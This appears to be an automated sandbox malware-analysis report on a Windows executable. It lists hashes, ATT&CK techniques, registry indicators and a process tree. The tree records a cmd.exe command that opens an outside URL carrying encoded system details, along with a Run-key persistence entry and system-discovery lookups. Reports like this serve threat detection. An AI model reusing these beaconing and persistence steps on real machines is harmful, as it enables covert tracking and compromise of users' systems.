2d397ed132b8704c6fb8e1d446fb1f0b68eb96cd9a56b1449f623c29506d494e

Analysis

max time kernel
153s
max time network
159s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
27-11-2022 14:41

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General

Target

2d397ed132b8704c6fb8e1d446fb1f0b68eb96cd9a56b1449f623c29506d494e.exe
Size

143KB
MD5

2c2d0a57aa10c93edf20acf0bbc8700d
SHA1

e3a352112f9b0745f9b8cb3aaa4f0e035b1af888
SHA256

2d397ed132b8704c6fb8e1d446fb1f0b68eb96cd9a56b1449f623c29506d494e
SHA512

e2f787b462df54b7e5ce9758d132f3fe902595d0f63f3b3c296fd782e5de842684f1f7b96748ffca7c69c25ffce53323b8936c29b7325557715611a78af2884e
SSDEEP

3072:iN6ZekwVJIlgps5q9Eb648qwlS/+TfQO45D7:pe9IB83ID5X

Score

7^/10

persistence

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	2d397ed132b8704c6fb8e1d446fb1f0b68eb96cd9a56b1449f623c29506d494e.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\6daf7907-52b2-4dda-8973-cd41294f34e9.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20221128125757.pma	setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3440	msedge.exe
3440	msedge.exe
5076	msedge.exe
5076	msedge.exe
4728	identity_helper.exe
4728	identity_helper.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
4536	2d397ed132b8704c6fb8e1d446fb1f0b68eb96cd9a56b1449f623c29506d494e.exe
5076	msedge.exe
5076	msedge.exe
5076	msedge.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
4536	2d397ed132b8704c6fb8e1d446fb1f0b68eb96cd9a56b1449f623c29506d494e.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4536 wrote to memory of 2284	4536	2d397ed132b8704c6fb8e1d446fb1f0b68eb96cd9a56b1449f623c29506d494e.exe	82
PID 4536 wrote to memory of 2284	4536	2d397ed132b8704c6fb8e1d446fb1f0b68eb96cd9a56b1449f623c29506d494e.exe	82
PID 4536 wrote to memory of 2284	4536	2d397ed132b8704c6fb8e1d446fb1f0b68eb96cd9a56b1449f623c29506d494e.exe	82
PID 2284 wrote to memory of 5076	2284	cmd.exe	84
PID 2284 wrote to memory of 5076	2284	cmd.exe	84
PID 5076 wrote to memory of 4248	5076	msedge.exe	86
PID 5076 wrote to memory of 4248	5076	msedge.exe	86
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3456	5076	msedge.exe	89
PID 5076 wrote to memory of 3440	5076	msedge.exe	90
PID 5076 wrote to memory of 3440	5076	msedge.exe	90
PID 5076 wrote to memory of 4476	5076	msedge.exe	92
PID 5076 wrote to memory of 4476	5076	msedge.exe	92
PID 5076 wrote to memory of 4476	5076	msedge.exe	92
PID 5076 wrote to memory of 4476	5076	msedge.exe	92
PID 5076 wrote to memory of 4476	5076	msedge.exe	92
PID 5076 wrote to memory of 4476	5076	msedge.exe	92
PID 5076 wrote to memory of 4476	5076	msedge.exe	92
PID 5076 wrote to memory of 4476	5076	msedge.exe	92
PID 5076 wrote to memory of 4476	5076	msedge.exe	92
PID 5076 wrote to memory of 4476	5076	msedge.exe	92
PID 5076 wrote to memory of 4476	5076	msedge.exe	92
PID 5076 wrote to memory of 4476	5076	msedge.exe	92
PID 5076 wrote to memory of 4476	5076	msedge.exe	92
PID 5076 wrote to memory of 4476	5076	msedge.exe	92
PID 5076 wrote to memory of 4476	5076	msedge.exe	92

C:\Users\Admin\AppData\Local\Temp\2d397ed132b8704c6fb8e1d446fb1f0b68eb96cd9a56b1449f623c29506d494e.exe
"C:\Users\Admin\AppData\Local\Temp\2d397ed132b8704c6fb8e1d446fb1f0b68eb96cd9a56b1449f623c29506d494e.exe"
1⤵
- Checks computer location settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4536
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "start http://securedfileinfo.com/404.jsp?chid=5300108^&rsn=plde^&details=^|v6.2.9200x64sp0.0ws^|tt37^|dt0^|dc100^|fs-2^|dh0^|ec13^|se12007^|dr4^|ds0^|rs0^|p1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2284
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://securedfileinfo.com/404.jsp?chid=5300108&rsn=plde&details=|v6.2.9200x64sp0.0ws|tt37|dt0|dc100|fs-2|dh0|ec13|se12007|dr4|ds0|rs0|p1
    3⤵
    - Adds Run key to start application
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5076
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff8961146f8,0x7ff896114708,0x7ff896114718
      4⤵
      PID:4248
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,7640710995308830742,16175004520698815520,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2140 /prefetch:2
      4⤵
      PID:3456
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2096,7640710995308830742,16175004520698815520,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3440
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2096,7640710995308830742,16175004520698815520,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2712 /prefetch:8
      4⤵
      PID:4476
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7640710995308830742,16175004520698815520,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3280 /prefetch:1
      4⤵
      PID:2496
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7640710995308830742,16175004520698815520,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
      4⤵
      PID:3024
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2096,7640710995308830742,16175004520698815520,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4868 /prefetch:8
      4⤵
      PID:3452
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7640710995308830742,16175004520698815520,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4788 /prefetch:1
      4⤵
      PID:3076
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2096,7640710995308830742,16175004520698815520,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5748 /prefetch:8
      4⤵
      PID:2704
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7640710995308830742,16175004520698815520,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4732 /prefetch:1
      4⤵
      PID:3616
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7640710995308830742,16175004520698815520,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5896 /prefetch:1
      4⤵
      PID:1344
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,7640710995308830742,16175004520698815520,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6164 /prefetch:8
      4⤵
      PID:3640
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
      4⤵
      Drops file in Program Files directory
      PID:4636
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x224,0x228,0x22c,0x220,0x230,0x7ff7de395460,0x7ff7de395470,0x7ff7de395480
        5⤵
        
        PID:1208
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,7640710995308830742,16175004520698815520,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6164 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4728

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4620

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

\??\pipe\LOCAL\crashpad_5076_EAOHBFXGNXVUJWBU

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/1208-156-0x0000000000000000-mapping.dmp

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memory/1344-154-0x0000000000000000-mapping.dmp

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memory/2284-132-0x0000000000000000-mapping.dmp

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memory/2496-142-0x0000000000000000-mapping.dmp

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memory/2704-150-0x0000000000000000-mapping.dmp

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memory/3024-144-0x0000000000000000-mapping.dmp

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memory/3076-148-0x0000000000000000-mapping.dmp

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memory/3440-137-0x0000000000000000-mapping.dmp

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memory/3452-146-0x0000000000000000-mapping.dmp

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memory/3456-136-0x0000000000000000-mapping.dmp

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memory/3616-152-0x0000000000000000-mapping.dmp

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memory/4248-134-0x0000000000000000-mapping.dmp

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memory/4476-140-0x0000000000000000-mapping.dmp

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memory/4636-155-0x0000000000000000-mapping.dmp

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memory/4728-157-0x0000000000000000-mapping.dmp

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memory/5076-133-0x0000000000000000-mapping.dmp

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